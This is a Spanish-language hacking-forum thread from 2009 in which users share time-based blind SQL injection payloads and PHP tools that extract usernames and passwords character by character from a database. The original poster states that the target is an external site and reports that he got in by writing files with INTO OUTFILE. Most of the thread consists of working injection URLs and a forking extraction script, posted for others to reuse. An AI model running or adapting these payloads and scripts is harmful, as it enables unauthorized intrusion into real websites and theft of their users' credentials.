Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: OzX en 1 Febrero 2009, 19:24 pm



Título: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: OzX en 1 Febrero 2009, 19:24 pm
Hi
 ;D


Espero que alguie me pueda dar un cable.

Mi Problema es el Sguiente


Tengo una Inyeccion Time-based Blind SQL; que me funciona de maravillas.

Citar
Dato = es lo mismo que hacer 2+and+1=0+union+select+all+1,2,3,4,5,6,7,8,9/* <= INY NORMAL.

Código
  1. http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),0,1)/**/=/**/CHAR(%2297%22),BENCHMARK(1500000,MD5(CHAR(1))),NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+bd.tabla+WHERE+id=1+LIMIT+0,1/*

Cuando es Falso tiene un Retorno de 4 a 7 segundos y cuando es verdadero tiene un deface de mas de 15 seg, entre 20 a 21 segundos.

Codie una tool para este fallo, q me permite automatizar todo, lo posteo por si alguien luego nececita algun cable con esto.

php script.php 1 97 //Empieza del 2 caracter a buscar desde la letra a
Código
  1. function GET($url) {
  2. $curl = curl_init();
  3. $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  4. $header[] = "Cache-Control: max-age=0";
  5. $header[] = "Connection: keep-alive";
  6. $header[] = "Keep-Alive: 300";
  7. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  8. $header[] = "Accept-Language: en-us,en;q=0.5";
  9. $header[] = "Pragma: ";
  10. curl_setopt($curl, CURLOPT_URL, $url);
  11. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  12. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  13. curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  14. curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  15. curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  16. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  18. if (!$html = curl_exec($curl)) {
  19. $html = file_get_contents($url);
  20. }
  21. curl_close($curl);
  22. return $html;
  23. }
  24.  
  25.  
  26.  
  27. $v = $argv[2]; //desde donde empieza el ansii
  28. $limit = $argv[1]; // valor q obtener, el primero, segundo tercer caracter , 1,2,3
  29.  
  30. for($x=$v;$x<=122;$x++){
  31. $starttime=time();
  32. echo "[+] Testing :>  ".$x."   =================>     ".chr($x);
  33.  
  34. $source = GET("http://www.site.com/bug=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),".$limit.",1)/**/=/**/CHAR(%22".$x."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+0,1/*");
  35.  
  36. $endtime=time();
  37.  
  38. $difftime=$endtime - $starttime;
  39. echo "              DIFERENCIA  -> ".$difftime."\r\n";
  40. if ($difftime >15){ //Tiempo max de Respuesta TRUE
  41. system("clear");
  42. echo "              DIFERENCIA  -> ".$difftime."\r\n";
  43. echo " #####################ENCONTRADO [ ANSII[".$x."]    ".$limit."   ] ===> ".chr($x)."\r\n";
  44. exit();
  45. }
  46.  
  47. }



buenooo. ahora bien obtengo todos los datos que nececito, pero me surgio un gran drama, la pass y el user es case sentitive, por lo cual nececito ver si son mayusculas o minisculas, pero el blind me tira la misma cantidad de tiempo cuando es una A mayusculas que cuando es una a miniscula, y nose porque, 115 (s) y 83(S), son 2 numeros distintos pero de igual forma, me dice que es verdadero.

Citar
ozx@OzX:~/Escritorio$ php adminblind.php 1  115
  • Testing :>  115   =================>     s              DIFERENCIA  -> 20
              DIFERENCIA  -> 20
 #####################ENCONTRADO [ ANSII[115]    1   ] ===> s
ozx@OzX:~/Escritorio$ php adminblind.php 1 83
  • Testing :>  83   =================>     S              DIFERENCIA  -> 21
              DIFERENCIA  -> 21
 #####################ENCONTRADO [ ANSII[83]    1   ] ===> S



¿Como podria atravez de la Iny indentificar si es LOWER o UPPER ?


taba provando algunos SELECT+IF+LOWER, y UPPER, pero la iny se me va al carajo..

Alguna idea?

Saludos¡


Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: nacho87 en 1 Febrero 2009, 19:59 pm
estas seguro de que el sistema es case sensitive? porque si te reconoce como iguales un char en mayusculas y otro en minusculas es porque al sistema le da igual una que otra.
No se si estas haciendo las pruebas en tu sistema o en alguno que conozcas y conoces el resultado que te debería dar pero sino, no puede ser que te esté dando el hash del password, que éste si sea indiferente entre minusculas y mayusculas?


Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: OzX en 2 Febrero 2009, 05:21 am
Completamente seguro que es case.
es un site externo.

pues creo que el problema esta , en la misma inyecion, porque creo el traspaso directo con char(number), por lo cual testeare con la otra forma, ansii(substring... etc.

Si me va bien cuento q tal ¡


Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: OzX en 5 Febrero 2009, 03:13 am
lo solucione xd¡
aunque no de la mejor forma.
tenia magic quotes off, y privilegios de Y , Into OUT FIle, y ya fue historia xD¡.
de todas formas es bastante particular el time based.

Saludos¡


Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: berz3k en 5 Febrero 2009, 05:57 am
Código:
ansii(substring... etc.

duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.


Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: OzX en 5 Febrero 2009, 17:51 pm
Código:
ansii(substring... etc.

duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.


jawjwajwaj XD
ascii(substring(( :D 


Código
  1. http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*

:D asi me resulto, osea asi me indentificaba las mayus de las minus.
pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados


Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize.


Código
  1. <?
  2. //Coded by OzX http://foro.undersecurity.net
  3.  
  4. function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
  5. function GET($url) {
  6. $curl = curl_init();
  7. $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  8. $header[] = "Cache-Control: max-age=0";
  9. $header[] = "Connection: keep-alive";
  10. $header[] = "Keep-Alive: 300";
  11. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  12. $header[] = "Accept-Language: en-us,en;q=0.5";
  13. $header[] = "Pragma: ";
  14. curl_setopt($curl, CURLOPT_URL, $url);
  15. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  16. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  17. curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  18. curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  19. curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  20. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  21. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  22. if (!$html = curl_exec($curl)) {
  23. $html = file_get_contents($url);
  24. }
  25. curl_close($curl);
  26. return $html;
  27. }
  28. function ordenar($file){
  29. $file = file($file);
  30. foreach ($file as $var){
  31. list($ansii,$valores)= explode(">",$var);
  32. $vars[$ansii] = $valores;
  33. }
  34. ksort($vars);
  35. foreach ($vars as $var){
  36. $data .=trim($var);
  37. }
  38. return array($data,$vars);
  39. }
  40.  
  41.  
  42. function blind_time($limit,$file,$db,$tabla,$columna){
  43. $ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
  44. 47,32,0, //null, space, _, ,
  45.        48,49,50,51,52,53,54,55,56,57, #0-9
  46. 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,     #A-Z
  47. 33,35,36,37,38,45,46  
  48. );
  49.  
  50. for ($x=0;$x<=count($ascii);$x++){
  51. $f1=fopen($file,"a");
  52. $char = $ascii[$x];
  53. $starttime=time();
  54. echo "[+] ".$limit ." >>> Testing :>  ".$char."   =================>     ".chr($char)."\r\n";
  55. $source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");
  56.  
  57. $endtime=time();
  58. $difftime=$endtime - $starttime;
  59. //echo "              DIFERENCIA  -> ".$difftime."\r\n";
  60. if ($difftime >15){
  61. $info = $limit . ">".chr($char)."\n";
  62. $string.= chr($char); //Obtenemos el Valor y lo Guardamos
  63. echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
  64. fwrite($f1,$info);
  65. fclose($f1);
  66. exit();
  67. }
  68. }
  69. }
  70.  
  71.  
  72.  
  73. $limit = $argv[2];
  74. $start = $argv[1];
  75. //$db = $argv[3];
  76. //$tabla = $argv[4];
  77. //$columna = $argv[5];
  78.  
  79.  
  80.  
  81.  
  82. $file = rand().".txt";
  83. if (file_exists($file)) {
  84.   unlink($file);
  85. }
  86.  
  87.  
  88. $pids = array();
  89. for($i=$start;$i<=$limit;$i++)
  90. {
  91.  $pid = pcntl_fork();
  92.   if($pid == -1) { die('ERROR FORK');
  93.  } else if ($pid) {
  94.    $pids[] = $pid;
  95.  } else {
  96.    blind_time($i,$file,$db,$tabla,$columna);
  97.    exit();
  98.  }
  99. }
  100. foreach($pids as $pid) {
  101.  pcntl_waitpid($pid, $status);
  102.  
  103. }
  104.  
  105. list($data,$vars) = ordenar($file);
  106. echo "TABLA :> ".$tabla."   COLUMNA :>> ".$columna."\r\n";
  107. echo "Valor Obtenido :> ".$data."\r\n";
  108. echo "DEBUG :>\r\n";
  109. print_r($vars);
  110. unlink($file);
  111.  
  112.  
  113. ?>

los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante.

Saludos¡
OzX¡



Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: berz3k en 9 Febrero 2009, 19:56 pm
Venga, lo pruebo hoy por la noche y ya te cuento OzX

-berz3k.



Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: berz3k en 10 Febrero 2009, 21:53 pm
Me gusta tu code PHP te ha quedado muy wuapo, sin embargo estoy trasteando cada vez mas en PHP, ahora el string a testear es el siguiente (manualmente) :

Código:
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=95
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=96
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=97

Para solo cuestiones de prueba y ver su funcionamiento en PHP a traves de tu code he intentado algunas cosas, vaya que lo tengo hecho en PERL y me funciona correctamente, pero me estoy enamorando de PHP por su facilidad de programar XD

Segun yo, y solo para pruebas podria ser:
Código:
$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null)+from+users+limit+0,1/*");

o Tambien
Código:
$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))))+from+users+limit+0,1/*");

Mmm algo anda mal, probare mas tarde, ideas OzX?

Ejempo TABLA
Código:
+++++++++++++++++++++++++++++++++++++++++
| users |
+++++++++++++++++++++++++++++++++++++++++
| id |      name | password |
+++++++++++++++++++++++++++++++++++++++++
|  1 | administrator | 1234%&_ |
|  2 |  | |
|  3 |  | |
+++++++++++++++++++++++++++++++++++++++++

Aunque podria agregar la funcion ASCII(SUBSTRING etc etc)+from+users, pero no tendria caso los arrays que declaro OzX.

-berz3k.









Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: OzX en 10 Febrero 2009, 22:35 pm
Hi Brota :D


Codie esta tool para una inyeccion tipo
union+select+all+1,2,3,4,5,6,7,8,9.

Citar
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"

Por eso los 9 null.

Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando :D.

Saludos¡



Título: Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
Publicado por: berz3k en 11 Febrero 2009, 08:11 am
@OzX

Yep. tambien elimine los "nulls" no necesarios, algo me falta..., ando metido en muchas cosas, espero fixear parte de tu code en esta semana, seguramente me lo fixeas antes tu XD, es el mismo proposito pero sin usar el ASCII(substring etc etc) ya que tomara los arrays de tu code, que previamente haz declarado para MAYUSCULAS, MINUSCULAS, chars etc.

-berz3k.